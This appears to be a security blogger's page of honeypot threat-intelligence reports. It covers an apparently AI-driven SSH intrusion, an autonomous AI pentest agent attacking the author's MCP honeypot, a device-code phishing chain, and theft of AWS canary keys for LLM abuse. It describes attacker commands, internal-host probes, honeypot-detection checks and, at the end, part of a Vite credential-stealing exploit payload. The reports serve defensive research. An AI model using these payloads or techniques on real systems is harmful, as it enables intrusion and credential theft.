Author: anthonyruscitto

  • Cowrie SSH Sensors: possible hands-on attack?

    Cowrie SSH Sensors: possible hands-on attack?

    Nov 27, 2026 · @Anthony

    TLP:CLEAR — You may share this report without restriction. Sensor addresses and the values of planted honeytokens have been left out.

    FieldValue
    SensorsSensor 1, Sensor 2 – Cowrie SSH/Telnet
    Collection window2026-11-27 00:00 – 18:38 UTC (partial day)
    Historical lookbackSensor logs 2026-11-19 – 2026-11-26, used to see when each source was first seen

    Executive summary

    The most important event: an operator from 193.47.62.69 spent 76 minutes inside Sensor 2. Its commands looked like a person or an AI agent working step by step. It found and used planted database, AWS and Vault breadcrumbs, then worked out that it was on a honeypot by testing whether uploaded binaries would run.

    • Hands-on / agentic intrusion (193.47.62.69): 63 sessions, 100+ staged commands, 16 unique files uploaded. It went after credentials and tried to move to other internal hosts.
    • Honeypot-detection suite (92.118.39.77, 2.57.122.150): structured check_<md5> probes that test whether the shell behaves like a real POSIX shell.
    • Outlaw botnet (50.6.195.65): installed the well-known mdrfckr SSH key and changed the root password.
    • Diicot / Mexals (109.160.32.40, 109.160.32.168): cleared out competing malware, then uploaded the same two payloads by SCP in two separate intrusions.
    • Proxy abuse (176.53.159.196, 77.90.185.29, 138.226.239.233-234): used SSH direct-tcpip to send DNS and TLS traffic through the sensor.

    Sensor activity

    Sensor 2 got fewer connections than Sensor 1 but about 10 times as many successful logins. Almost all of the post-login activity happened there.

    MetricSensor 1Sensor 2
    Events30,83225,753
    Sessions6,0965,125
    Unique source IPs167205
    Failed logins6,3124,974
    Successful logins988
    Commands entered84230
    File downloads/uploads captured1231
    direct-tcpip (proxy) requests023

    Top sources by connection count were 109.160.32.40 (1,288) and 109.160.32.168 (1,230) on Sensor 1, and 39.109.122.90 (749) on Sensor 2. The 77.239.124.0/24 range hit both sensors at about 550 connections per address.

    Finding 1 — Hands-on or agentic intrusion from 193.47.62.69

    Between 14:07 and 15:23 UTC, 193.47.62.69 opened 63 SSH sessions on Sensor 2 as deploy:deploy. It went from recon to credential use to attempts at moving to other hosts. Then it began testing the sensor itself.

    How it operated

    • The client was a real SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.18 (HASSH e1d88fdd485f9c710074daa1fcce80a6) sending LANG=en_US.UTF-8. Commodity bots send SSH-2.0-Go.
    • It ran one command per session, with a new session about every 8 seconds.
    • Commands carried phase markers (@@@STAGE2, @@@DEEP, @@@DB, @@@DB2). Each command changed based on the last one’s output, which points to a person or an LLM-driven agent working step by step.
    • This is the first time this address has been seen on any sensor. 193.47.62.153, in the same /24, validated deploy:deploy and checked GPU details on Sensor 1 (Nov 25, Nov 27) and Sensor 2 (Nov 26). It may be a scout that hands working logins to the operator.

    What it did, in order

    1. Situational awareness: id, sudo -n -l, ss -tlnp, docker ps, a check for database clients, ~/.bash_history.
    2. Stage 2 (hunting for services and secrets): web roots, Docker, MySQL/Postgres data directories, /root/.my.cnf, a recursive grep for DB_PASSWORD/DATABASE_URL, .env files, mail spools, Proxmox (qm list, pct list), Tailscale status.
    3. Using the credentials: it read the planted /srv/app/.env, then tried the planted Postgres payments credentials against settlements and the planted AWS key against an S3 bucket (aws s3 ls). It also looked for /root/.aws/credentials.
    4. Bringing its own tools: the emulated psql failed, so it uploaded its own psql and pg_dump binaries. It tried base64, gzip, cat > redirects, and writing to /tmp, ~, /dev/shm and /usr/local/bin.
    5. Testing the sensor: it copied /bin/true and /bin/ls and ran the copies, checked with cmp that an uploaded file matched /bin/ls and still wouldn’t run, and checked ld-linux, mount, dmesg and ASLR. It also grepped the process list for security agents (monarx, falcon, sentinel, wazuh, osquery).
    6. Trying to reach other hosts: it probed internal Vault (10.116.0.9:8200/v1/sys/health) and a Postgres replica (10.116.0.7:5432) using curl, wget, bash /dev/tcp and a Perl IO::Socket::INET script.

    Assessment: The breadcrumbs worked. The actor found and used every planted credential within minutes. What gave the honeypot away was that uploaded binaries can’t run. Cowrie’s emulated aws never contacts AWS, so the planted AWS key would only fire if the actor uses it from outside the sensor.

    Finding 2 — Shell-fidelity honeypot detection suite

    92.118.39.77 and 2.57.122.150 logged in to Sensor 2 as root:P@ssw0rd or root:admin123. They ran a structured test suite meant to tell a real POSIX shell from an emulated one. 92.118.39.77 also touched Sensor 1 today and Sensor 2 on Nov 26.

    Each run uses a unique check_<md5> token and tests:

    • arithmetic expansion ($((131*638+42)))
    • $$ (the process ID)
    • positional parameters (set --, $#)
    • shell functions
    • subshell variable scope (v=outer; (v=inner; ...))
    • pipes into while read
    • quoting of a b;$()
    • stderr redirection with a non-zero exit 37
    • reads of /proc/self/stat and /proc/self/status (PID and namespace checks)

    Every test runs twice, once directly and once wrapped in sh -c, so the two outputs can be compared.

    Assessment: This looks like automated filtering of honeypots, run before a host is handed on for further abuse. The sensor’s output is not in the JSON event log. Check the session ttylogs to see which checks it failed.

    Findings 3–5 — Commodity botnets and proxy abuse

    Finding 3 — Outlaw (mdrfckr) on Sensor 1

    At 16:45 UTC, 50.6.195.65 (SSH-2.0-libssh_0.9.6) logged in as root:P@ssw0rd2 and ran the standard Outlaw takeover:

    • unlocked .ssh with chattr -ia, then replaced it with the known Outlaw RSA key (comment mdrfckr, starts AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcw)
    • changed the root password to aBoaoZ1tj0qF with chpasswd
    • killed competing secure.sh and auth.sh and cleared /etc/hosts.deny
    • profiled the hardware (CPU, memory, disk, crontab -l)

    Finding 4 — Diicot / Mexals on Sensor 1

    At 08:22 and 17:36 UTC, 109.160.32.40 and 109.160.32.168 logged in as deploy with deploy or deploy123 and ran the same sequence both times:

    • hardware and GPU fingerprinting, plus curl ipinfo.io/org
    • crontab -r and a wipe of /tmp and /var/tmp
    • killed any process using more than 40% CPU or 60% memory
    • chattr -iae on Diicot artifacts (/tmp/.diicot, /var/tmp/Documents/.diicot, /var/tmp/.update-logs)
    • SCP upload of a randomly named binary and a cache file

    Both intrusions dropped identical hashes: 486d2587…ee31 and 0980b29b…063741.

    Finding 5 — SSH tunnelling through Sensor 2

    These sources logged in as root and immediately opened direct-tcpip channels. This looks like checking whether the box can be used as a proxy:

    • 176.53.159.196 (root:admin123) sent a DNS query for a.to to 1.1.1.1:53 on 16 separate occasions today. It has been here every day since Nov 21.
    • 77.90.185.29, 138.226.239.233 and 138.226.239.234 (root:P@ssw0rd) sent a TLS ClientHello to Cloudflare at 104.16.132.229:443 and 104.16.133.229:443.

    Indicators of compromise

    IP addresses

    IPSensorActivityCredential usedFirst seen
    193.47.62.692Hands-on or agentic intrusion; took credentials; tried internal hostsdeploy:deploy2026-11-27
    193.47.62.1531, 2Login validation and GPU recon (same /24 as above)deploy:deploy2026-11-25
    92.118.39.771, 2Shell-fidelity honeypot detectionroot:P@ssw0rd, root:admin1232026-11-26
    2.57.122.1502Shell-fidelity honeypot detectionroot:P@ssw0rd2026-11-27
    50.6.195.651Outlaw: installed mdrfckr SSH key, changed root passwordroot:P@ssw0rd22026-11-27
    109.160.32.401Diicot / Mexals: SCP payload dropdeploy:deploy, deploy:deploy1232026-11-27
    109.160.32.1681Diicot / Mexals: SCP payload dropdeploy:deploy, deploy:deploy1232026-11-27
    176.53.159.1962direct-tcpip DNS tunnel to 1.1.1.1:53root:admin1232026-11-21
    77.90.185.292direct-tcpip TLS to Cloudflareroot:P@ssw0rd2026-11-27
    138.226.239.2332direct-tcpip TLS to Cloudflareroot:P@ssw0rd2026-11-27
    138.226.239.2342direct-tcpip TLS to Cloudflareroot:P@ssw0rd2026-11-27

    “First seen” counts only this sensor network’s logs from 2026-11-19 onward.

    File hashes (SHA-256)

    SHA-256SourceContext
    486d258731b76f0922d79542593cc97880100f589028743a0a79b7380c19ee31109.160.32.40, .168Diicot SCP-uploaded binary (random name)
    0980b29bdac6b74fb3a4875a3215373c4ea392bc4a60a7bf931ad888ba063741109.160.32.40, .168Diicot SCP-uploaded cache file
    c6f1676734b35a3c26274cdcdedc4a34ead3d0b815ab6d06afd4a58a55baf13c109.160.32.40Diicot captured file
    79b0447928d0675f2b6f19b95ffcde683236f2bcd7d46a97da178a9648978549109.160.32.168Diicot captured file
    a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f250.6.195.65Outlaw captured file
    01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b50.6.195.65Outlaw captured file
    15e1461bf3287e35e8a37941d35cd4cecc09126a0555551733ae54e5779fd6c3193.47.62.69Uploaded to the session (14:07)
    abb365d2a2eb81638226296aaed26f9e5ee333e9bdb9a71932e22ae5e9f1c56a193.47.62.69Uploaded to the session (14:07)
    8f3e9209babf3002f5c2f9098dbc764d83f8150a91f5ed8854d8a0cdaf040320193.47.62.69Uploaded to the session (14:09)
    26faf8d5dd3f771eaa3358b56d06c38512147a92563d78a799d0a16b9d6280ee193.47.62.69Uploaded to the session (14:09)
    3c2828d7b19cdbc794b2df7c384e5404284266ca3a8471e2c8eb54f4c4720a28193.47.62.69Uploaded to the session (14:09)
    4c60e02d9971fe29a565a46df21f3f6576029e2965a807fd0be356ac73c95348193.47.62.69Uploaded to the session (14:10)
    f90d0513e8b5d5e6f1f27ba15ede883a008e96f9cd9a29bd27c701dceb82b695193.47.62.69Uploaded to the session (14:11)
    bba9cb3eb1ac289ac8751830eb457927a72204a5821f217be96fd12e107a8712193.47.62.69Uploaded to the session (14:11)
    1f4fa3f44b284bb8cf2c79931049d39f445d063fb16747e97c24fdbed17954c4193.47.62.69Uploaded to the session (14:22)
    243ff6868ea6bdedfa2257e78b502e943dba4dbf499b78f28e0117afc4834cff193.47.62.69Uploaded to the session (14:23)
    2f6f17cf77b1bf5c29429244f90c2cad33321a01f065b1c612e98161420c1d06193.47.62.69Uploaded to the session (14:24)
    c2105fae177e93f1229e81f481b6b62154f645c6f170007ec00b3e3bbbbdf7ec193.47.62.69Uploaded to the session (14:24, re-sent 6 times)
    7af7f0887fc02665af970baf169b8abb04569745ddd4a526a6dd3cfeb2f4f0d4193.47.62.69Uploaded to the session (14:25)
    94f5d1c6ad51bbd532bf2e702b3d28cb57ba8887435b4514a06e4ba0cd7fedba193.47.62.69Uploaded to the session (14:25)
    e018fe33ff05df8a83a21959425bdaece22ae47f58aacccc2105da36d222975d193.47.62.69Uploaded to the session (14:27)
    ecedc735a72a406229f6815fe08e79fd3bd2bb9cd05fe22c44b9080efe3b9515193.47.62.69Uploaded to the session (15:21)

    The 193.47.62.69 files match its attempts to upload psql, pg_dump and scripts. None of these files have been analysed for this report.

    Other indicators

    TypeValueContext
    SSH public keyssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcw… mdrfckrOutlaw persistence key
    Password setaBoaoZ1tj0qFOutlaw chpasswd root password
    File paths/tmp/.diicot, /var/tmp/Documents/.diicot, /var/tmp/.update-logsDiicot artifacts
    HASSHe1d88fdd485f9c710074daa1fcce80a6193.47.62.69 (OpenSSH 8.9p1 Ubuntu)
    HASSH16443846184eafde36765c9bab2f4397193.47.62.153 (SSH-2.0-Go)
    HASSH2ec37a7cc8daf20b10e1ad6221061ca592.118.39.77 (SSH-2.0-Go)
    HASSHf555226df1963d1d3c09daf865abdc9a50.6.195.65 (libssh 0.9.6)

    MITRE ATT&CK mapping

    TechniqueIDObserved in
    Valid Accounts: Default AccountsT1078.001All findings (weak and default passwords)
    Brute Force: Password GuessingT1110.00111,286 failed logins across both sensors
    System Information DiscoveryT1082193.47.62.69, Diicot, Outlaw, 193.47.62.153
    Virtualization/Sandbox Evasion: System ChecksT1497.001Finding 2 test suite; 193.47.62.69 binary-execution tests
    Credentials In FilesT1552.001193.47.62.69 (.env, DB_PASSWORD grep, .my.cnf, .aws)
    Security Software DiscoveryT1518.001193.47.62.69 (monarx, falcon, sentinel, wazuh, osquery)
    Remote System Discovery / Network Service DiscoveryT1018 / T1046193.47.62.69 (Vault, Postgres replica)
    Ingress Tool TransferT1105193.47.62.69 (psql/pg_dump), Diicot SCP
    Account Manipulation: SSH Authorized KeysT1098.004Outlaw mdrfckr key
    Account Access RemovalT1531Outlaw chpasswd
    Impair DefensesT1562Diicot and Outlaw killing competing processes, crontab -r
    Protocol Tunneling / ProxyT1572 / T1090Finding 5 direct-tcpip

    Recommendations

    • Block or watch for: all IPs in the IOC table, plus 193.47.62.0/24 as a watch range.
    • Defenders: alert on SSH logins as deploy from new sources. Treat bursts of short one-command sessions as a sign of an interactive or AI-agent operator. Look for /dev/tcp and Perl socket probes of internal Vault and database ports.
    • Hardening: disable SSH AllowTcpForwarding on servers that face the internet. That one setting would have stopped all Finding 5 activity.
    • Researchers: the check_<md5> probe pattern and binary-execution checks show that capable actors test whether a host is a honeypot before they do anything else. Emulated shells need to get these primitives right to keep high-value actors engaged.
  • I Let an AI Hacker Loose on My AI Honeypot

    I Let an AI Hacker Loose on My AI Honeypot

    The short version

    I pointed an autonomous AI pentest agent at my AI honeypot and gave it one job: break in and plant a flag. Six hours and about 251,000 requests later, it handed me a professional-looking report with eight findings, three of them rated critical.

    None of them were real. Every shell, credential and database row it “stole” was bait.

    That’s the fun headline. The more useful part is how close it came to figuring that out, and what that says about where honeypots and AI-driven attacks are heading.

    The setup

    The attacker: ARTEX. ARTEX is an autonomous, LLM-driven penetration testing framework. I run a fork of it in Docker on an 8 GB Raspberry Pi 5. You give it a target and a goal, and it does the recon, picks its tools, runs its attacks, tracks what it has learned and writes its own report at the end. No human in the loop.

    The target: NECTAR. NECTAR is a honeypot I built for MCP, the Model Context Protocol that AI agents use to call tools. It poses as an internal “AI ops” server and offers the kind of tools an attacker dreams about finding exposed: run a shell command, read and write files, query the production database, pull cloud secrets and fetch URLs from inside the network. It also pretends to host OpenAI-style and Ollama-style LLM APIs, plus the classic leaked .env file. Everything it returns is fake, and every request is logged.

    The task. I told ARTEX to test the server, report what was exposed and, if it could, plant a flag on the system as proof. It ran for about six hours.

    What ARTEX thought it found

    By the numbers, ARTEX worked hard: about 251,000 requests, 19,800 MCP tool calls, 92,000 directory-fuzzing requests and roughly 50 rounds of trying a new angle. Then it wrote up eight “confirmed” findings.

    SeverityWhat ARTEX reportedWhat actually happened
    CriticalRemote command execution as the server’s service accountA fake shell returned canned output
    CriticalCloud credentials stolen through SSRF to the instance metadata serviceNECTAR served decoy keys from a fake metadata endpoint
    CriticalSecrets file (.env) exposed on three portsA decoy file, built to be found
    MediumMCP config file leaking a database password and a GitHub tokenDecoy config with a dead token
    MediumArbitrary host files readable through MCP resourcesCanned file contents
    MediumFree, unauthenticated LLM inference on four ports (reported twice)A fake LLM API with stock replies
    LowWeak SSH crypto settingsThe only real service it touched

    It even had the word “honeypot” in the target’s name in its own scope data, and it still described the box as a production server. On paper, NECTAR won.

    The flag never landed, though. ARTEX wrote it again and again, and every time the honeypot said “Successfully wrote 52 bytes.” Every time it tried to read the file back, it was gone.

    Where the mask slipped

    The logs tell a more interesting story than the report. About halfway through, ARTEX stopped trying to exploit NECTAR and started checking whether its exploits did anything. That’s exactly how you catch a honeypot, and NECTAR failed most of those checks.

    Files didn’t persist. Out of 756 times ARTEX read back a file it had just written, only 30 came back with the content. The other 726 returned “No such file or directory.” Creating a directory “worked,” but the listing never changed.

    Slow things happened instantly. A five-second shell sleep came back in 0.3 seconds. A five-second database delay came back in 0.2. My fake URL fetcher reported “timed out after 30 seconds” 2,103 times, and every one of those replies arrived instantly. Timing is the cheapest honeypot check there is, and I flunked it.

    The shell wasn’t really a shell. On a box that claimed to run a Python web server, basic tools like grep, head, sed, cp and date all came back “not found.” Variables didn’t expand, loops didn’t run, and pipes were split into separate commands.

    The fake AI accepted anything. It answered for any model name, including zzz-totally-fake-model-999. A real Ollama server says “model not found.” My favourite: ARTEX sent the prompt ARTEX-FLAG-167-9f2c1a, and my fake LLM’s math shortcut read it as an equation and answered “-167 – 9 = -176.”

    Every service answered on every port. The Ollama API, the OpenAI API, the MCP server and the decoy .env all responded on the same four ports. Real infrastructure doesn’t look like that.

    Python errors leaked. Sending a number or a list where a string was expected crashed parts of NECTAR 141 times, and some of those errors reached the client, which gives away what the server is built on.

    The cover story contradicted itself. ARTEX decoded the decoy access key and found that it belonged to a different cloud account than the one in the config file. The fake cloud credentials had also expired days earlier, which real rotating credentials never do.

    It saw the clues and didn’t connect them

    The part I keep coming back to is in ARTEX’s own report. In the “counterevidence” notes under its critical findings, it wrote that the backend “behaves like a scripted simulator”: writes didn’t stick, shell redirection wasn’t parsed, and database inserts never showed up. Under the LLM finding it noted that responses “may be served by a simulated backend.” It also flagged that the stolen credentials had already expired.

    So it collected most of the evidence it needed, wrote it down, and still rated the findings critical. It never stepped back and asked the obvious question: what if none of this is real?

    Some tells it never noticed at all. It believed the “30-second timeout” messages without timing them. It took a fake metadata reply for Google Cloud’s address as proof of a bypass, even though the reply was in AWS’s format. And it accepted the fake LLM’s correct answer to “17 × 23” as proof of real inference, without spotting the same shortcut doing nonsense math elsewhere.

    That cuts both ways. For defenders, today’s AI attack agents can still be fooled, but they’re already running the right checks. For anyone using AI pentest tools, the output needs a human. An agent can gather strong counterevidence and still reach the wrong verdict, then put it in a confident report.

    What I’m taking away, and what’s next for NECTAR

    1. AI attackers check consistency, not just responses. A honeypot that answers convincingly once isn’t enough anymore. It has to remember what happened and take realistic time doing it.
    2. Attacking your own honeypot is the fastest feedback loop there is. One overnight run gave me a ranked list of every weak spot, straight from the logs.
    3. Keep test traffic separate. I tag every request from my own test machine, so none of ARTEX’s 251,000 requests will leak into the threat intel I publish.

    The next NECTAR build will:

    • give each session its own small filesystem, so a file you write is a file you can read
    • take real time for sleeps, database delays and timeouts
    • handle shell pipes and quoting, and ship the basic commands a real server has
    • reject unknown model names like a real LLM server, and drop the math shortcut
    • route each port to a single service and serve decoy files only at their exact paths
    • check input types up front, so bad input can’t crash anything
    • keep the cover story straight: matching cloud account IDs and credentials that rotate
    • use canary tokens for the decoy credentials, so I get an alert when someone tries to use them

    Then I’ll point ARTEX at it again, this time under a neutral target name, and see if it can tell the difference.

    If you’re working on deception for AI agents and MCP infrastructure, I’d love to compare notes. And if you’d like to help keep the honeypots running, you can support the project on Ko-fi.

  • From Fake Shared Documents to Stolen Tokens: Anatomy of a Device Code Phishing Attack

    From Fake Shared Documents to Stolen Tokens: Anatomy of a Device Code Phishing Attack

    TL;DR: A phishing email sent from an already-compromised mailbox led a second victim through a link-in-bio lure, a bot-filtering “human check,” and a fake SharePoint page, and finally to Microsoft’s real sign-in page. By typing in a code and completing MFA, the victim handed the attacker access and refresh tokens to their Microsoft 365 account. No password was stolen, MFA didn’t help, and a password reset alone won’t kick the attacker out.

    Device code phishing has been around for a while, but it keeps working because nothing about the final step looks wrong. The URL is Microsoft’s, the certificate is Microsoft’s, and the MFA prompt is real. Below is a stage-by-stage walkthrough of one live sample, followed by what defenders can actually do about it.

    The attack chain at a glance

    1. Initial compromise: The attacker takes over an email account.
    2. Delivery: That account sends a phishing email claiming files were shared via SharePoint.
    3. Lure page: The link opens a linkie[.]bio page announcing “2 New Fax Documents.”
    4. Evasion gate: “GET YOUR FILES HERE” leads to a fake human-verification page on Cloudflare Workers that screens out automated scanners.
    5. Phishing page: Visitors who pass the check see a fake SharePoint page displaying a Microsoft device code.
    6. Token theft: The “Open” button launches Microsoft’s legitimate device login page. Entering the code and signing in gives the attacker the account.

    The phishing email

    The email came from a legitimate account the attacker had already compromised. That means it passed SPF, DKIM and DMARC and showed up looking like a message from a trusted contact. Sender authentication only tells you the mail came from the account it claims to. It can’t tell you who’s sitting behind that account.

    There’s one small tell, though. The email talks about files shared via SharePoint, but the landing page announces fax documents. The attacker stitched two lures together and didn’t bother to make them match.

    Stage 1: The lure page on linkie[.]bio

    The email link opens hxxps://linkie[.]bio/3985, a page on a legitimate link-in-bio service. Hosting the first hop on a reputable domain helps the link slip past URL reputation filters. The page announces “You Have 2 New Fax Documents” under a SharePoint-style logo, with a single GET YOUR FILES HERE button.

    Figure 1. The lure page on linkie[.]bio.

    Stage 2: The “are you human?” gate

    The button leads to a fake verification page hosted at vault-link-31yh[.]p-tzc4oj4x[.]workers[.]dev, complete with a Microsoft-colored logo and an “I’m not a bot” checkbox. This page isn’t there to stop bots for your benefit. It’s there to keep security scanners and sandboxes away from the phishing page while letting real people through.

    The page’s script gives every visitor a “human score”:

    • Penalties for traits of automated browsers: navigator.webdriver set, no browser plugins, no languages, or a zero-size window.
    • Bonuses for human behavior: mouse movement, touch and scrolling, and waiting more than one second before clicking.
    • Low score: The visitor gets redirected to http://www.google.com, so a scanner logs a harmless result.
    • Passing score: The score, interaction data and a per-visitor token are encrypted with a simple XOR-based cipher and submitted to the Worker, which then serves the phishing page.

    The page is also regenerated on every load with fresh random class names, tokens, keys and cipher constants. That defeats signature- and hash-based detection, so block on the domain, not the page content.

    Figure 2. The fake human-verification gate.

    Stage 3: The fake SharePoint page

    Visitors who pass the check get a page styled as a SharePoint share from “Microsoft User”, still served from the same workers[.]dev domain. A SharePoint page hosted on Cloudflare Workers is the single clearest red flag in the whole chain.

    The page shows a verification code (BEEDWDY6L in this sample) along with step-by-step instructions: open the sign-in window, enter the code, authenticate, and come back to view your documents. That code isn’t fake. It’s a genuine Microsoft device code that the attacker’s backend requested moments earlier, and it expires in about 15 minutes. A “Checking access…” spinner polls in the background, waiting for the victim to finish signing in.

    The Copy code button puts the code on the clipboard, and the Open button launches Microsoft’s sign-in page.

    Figure 3. The fake SharePoint page on Cloudflare Workers (domain outlined in red).

    Stage 4: Microsoft’s real device login

    The Open button launches login.microsoftonline.com/common/oauth2/deviceauth, Microsoft’s legitimate device authorization page. I checked the page source to confirm it: Microsoft’s own domain, Microsoft’s content delivery network and Microsoft’s page ID (ConvergedRemoteConnect).

    The irony is that the page itself warns users: “Do not enter codes from sources you don’t trust.” The attacker is counting on the SharePoint pretext to talk the victim past that warning.

    Figure 4. The legitimate Microsoft device code sign-in page.

    How device code phishing works

    The device code flow exists so devices without a keyboard or browser (smart TVs, command-line tools, conference room gear) can sign in. You start the login on the device, it shows you a short code, and you approve it from your phone or laptop. Attackers flip that around:

    1. The attacker starts a sign-in. On their own system, they kick off Microsoft’s device code flow and Microsoft issues a short code.
    2. The phishing page hands the code to the victim. The fake SharePoint page displays it and sends the victim to Microsoft’s real sign-in page.
    3. The victim approves the attacker’s session. By entering the code and signing in, MFA included, the victim authorizes the attacker’s session instead of their own.
    4. The attacker receives tokens. Microsoft issues access and refresh tokens to the attacker, opening up the victim’s mail, OneDrive, Teams and SharePoint, depending on which app was requested.

    Why it works so well

    • Legitimate infrastructure. The sign-in URL, certificate and page are all genuinely Microsoft, so URL checks and password managers raise no alarms.
    • MFA doesn’t stop it. The victim completes MFA themselves. Even phishing-resistant methods like passkeys pass, because the sign-in really is happening on Microsoft’s domain.
    • It survives a password reset. The refresh token stays valid until sessions are explicitly revoked, and it can last for months.
    • Built-in urgency. The code expires in about 15 minutes, and the lure leans on that.

    What defenders can do

    • Restrict the device code flow. Most users never need it. In Microsoft Entra ID, a Conditional Access policy using the Authentication flows condition can block device code flow for everyone except the accounts and devices that genuinely require it.
    • Hunt in the sign-in logs. Look for sign-ins where the authentication protocol is device code, especially for users who have never used it before or from unfamiliar IPs and locations.
    • Revoke sessions, don’t just reset passwords. If someone entered a code, revoke their sessions and refresh tokens, then review mailbox rules, OAuth app consents and newly registered devices for persistence.
    • Trace it back. The email came from a compromised account somewhere upstream. Notify that sender’s organization so the chain gets cut at the source.
    • Block the infrastructure, not Microsoft. Block the lure and Worker domains below. Don’t touch login.microsoftonline.com.
    • Teach the one rule that matters. Never enter a sign-in code you didn’t generate yourself on a device in front of you. A document doesn’t need you to type a code to open.

    Indicators of compromise

    TypeIndicatorNotes
    URLhxxps://linkie[.]bio/3985Stage 1 lure page (legitimate link-in-bio service, abused)
    Domainvault-link-31yh[.]p-tzc4oj4x[.]workers[.]devStage 2 human-verification gate and Stage 3 fake SharePoint page
    Device codeBEEDWDY6LSample code shown to the victim; expires in about 15 minutes
    Lure text“You Have 2 New Fax Documents” / “GET YOUR FILES HERE”Lure page wording

    Indicators are defanged. Note that login.microsoftonline.com appears in this chain but is legitimate Microsoft infrastructure. It is not an IOC.

    Wrapping up

    The scary part of device code phishing is that the victim does everything “right”: they land on the real Microsoft domain, they see a valid certificate and they complete MFA. The only wrong move is typing in a code that someone else gave them. If your organization doesn’t need the device code flow, turning it off removes this whole class of attack from the board.

  • 28 Hours Later – What my MCP honeypots recorded

    28 Hours Later – What my MCP honeypots recorded

    TLP:CLEAR— Disclosure is not limited. Recipients may share this report freely, subject to standard copyright rules (FIRST TLP 2.0).
    FieldValue
    Report typeHoneypot intelligence report (tactical + strategic)
    Published2026-11-22
    SensorsSensor 3 and Sensor 4, US
    PlatformNECTAR, a custom MCP (Model Context Protocol) and AI-agent-host honeypot, with decoy .env, MCP config and AI-credential files seeded with AWS canary tokens
    Observation window2026-11-21 18:34 UTC to 2026-11-22 22:24 UTC (~28 hours)
    Data volume7,289 events · 512 unique source IPs · 100 canary-key API calls
    Sensor addressesWithheld to protect collection
    TLPCLEAR

    Executive summary

    AWS keys exposed in a decoy .env file on an AI-agent host were used against AWS 30 seconds after a distributed scanning wave downloaded them. The first calls were to AWS identity, secrets and Amazon Bedrock model APIs. Both seeded canary keys were stolen within 28 hours of the sensors going live, and the same infrastructure used both.

    Key judgments:

    • A single toolchain harvests and abuses keys. Five IPs that sent Vite remote-code-execution probes to the sensors later used the stolen keys. 17 of the 21 key-user IPs shared one Boto3/Python build fingerprint across 14 hosting and residential networks in 12 countries (high confidence).
    • The Vite exploit is a credential stealer for AI developers. The payload abuses Vite’s /@id/__vite-browser-external: path with an import.meta.glob injection. It reads files from ~/.claude, ~/.codex, ~/.gemini, ~/.openclaw, ~/.continue, ~/.n8n, ~/.qwen, ~/.deepseek, ~/.9router, ~/.aws and ~/.kube (high confidence).
    • Bedrock is a priority target. 37 of 100 key calls were Bedrock InvokeModel/Converse, and InvokeModel was the first call ever made with key A. This fits LLMjacking, the resale of stolen model access (high confidence).
    • Coding-agent credentials are scanned for by name. One actor sent about 20 path-traversal variants for ~/.claude/.credentials.json on four occasions across both sensors (high confidence).
    • Stolen LLM endpoints are checked for tool calling. One actor queried the fake LLM API every ~20 minutes with “Reply with exactly ROUTER_OK 323” and “Use the multiply tool” prompts. That looks like qualifying endpoints for an LLM router or reseller (moderate confidence).

    Collection and methodology

    NECTAR is a custom honeypot that presents as an AI-agent operations host. It serves an MCP server over Streamable HTTP and SSE, Ollama and OpenAI-compatible LLM APIs, and decoy secrets. Each sensor’s decoy .env held a unique AWS access key generated as a Thinkst Canarytoken. Any API call with one of those keys raises an alert with the source IP, user agent and API action.

    SensorRegionLive from (UTC)EventsUnique IPs
    Sensor 3US 2026-11-22 03:461,773219
    Sensor 4US 2026-11-21 18:345,516334
    Canary keyAccount IDFirst use (UTC)Calls exportedSource IPs
    Key A0746814458502026-11-22 03:42:295011
    Key B2654139466512026-11-22 20:18:525016

    The account IDs are canary infrastructure, not victims. The operator’s own test traffic was removed. Canary alert timestamps are UTC. Each export hit 50 rows, so total abuse may be higher.

    Canary key theft timeline

    Key B shows the full chain on Sensor 3: a scan, Vite exploit probes, then a mass download of .env by 18 IPs in seven seconds. The first AWS call followed 30 seconds later. Key A on Sensor 4 shows the same order with a longer delay. Both chains are reconstructed from sensor logs and canary alerts (all UTC).

    Key B (Sensor 3, 2026-11-22)

    TimeSourceEvent
    20:15:4949.232.102.49Scan: /@id/__vite-browser-external:path, /@vite/client, /.env, /actuator/env
    20:18:16129.212.191.119Vite import.meta.glob exploit probe (stealer payload)
    20:18:17195.136.69.169Vite exploit probe, X11 user-agent variant
    20:18:22–2918 IPs, mostly cloud/VPS (DigitalOcean, Azure, AWS, GCP, OVH, Tencent and others)Same 5-request scan, each fetching /.env
    20:18:5235.232.229.118First canary use: Bedrock InvokeModel
    20:19:57–20:24:3016 IPs49 more calls: GetCallerIdentity, ListSecrets, DescribeParameters, ListAttachedUserPolicies, ListUserPolicies, ListGroupsForUser, ListBuckets, ListFunctions, ListClusters, InvokeModel
    20:20:53, 20:21:41115.84.170.14Canary use (ListBuckets), then a Vite exploit probe against Sensor 3 from the same IP

    Key A (Sensor 4, 2026-11-21 to 22)

    TimeSourceEvent
    11-21 21:25:55164.90.188.185Vite / .env / /proc/self/environ scan, .env downloaded
    11-21 21:26:53–21:28:13188.40.126.118, 94.24.55.131, 20.240.201.114Vite exploit probes
    11-22 03:42:2935.232.229.118First canary use: InvokeModel (python-httpx/0.28.1)
    11-22 09:07:085.189.165.83Repeat scan, .env downloaded again
    11-22 09:08:03–04188.40.126.118, 20.240.201.114Vite exploit probes
    11-22 09:10:14–09:11:067 IPsBoto3 enumeration burst: identity, IAM, secrets, SSM, Lambda, EKS, S3, Bedrock
    11-22 10:46–10:513 Tencent Cloud Singapore IPsSeparate tooling: GetCallerIdentity, ListFoundationModels, Converse, ListSecrets
    11-22 22:18:11135.136.38.43 (M247, Sofia)GetCallerIdentity, aarch64 Boto3 build

    The key was not attributed to a sensor in the canary alert itself. Sensor 4 is the only plausible source of Key A: Sensor 3 came online at 03:46, four minutes after Key A was first used. Censys also read the MCP resource file:///app/.env on both sensors through resources/read, so internet-scan datasets are a second possible exposure path.

    Vite RCE credential stealer

    The exploit probes deliver a JavaScript payload that reads AI-agent and cloud credential directories from the developer’s home folder and returns them base64-encoded. They target Vite dev servers on port 3000. Both sensors returned HTTP 404, so the attackers did not proceed further.

    Request shape. Each payload is sent as a single GET request:

    GET /@id/__vite-browser-external:`);}});
    import.meta.glob("/*",{[{toString:Function`return Function(globalThis.Buffer.from("<base64url>","base64url").toString())()`}]:1});
    var z=new Proxy({}, {get(_, key) {throw new Error(`?import

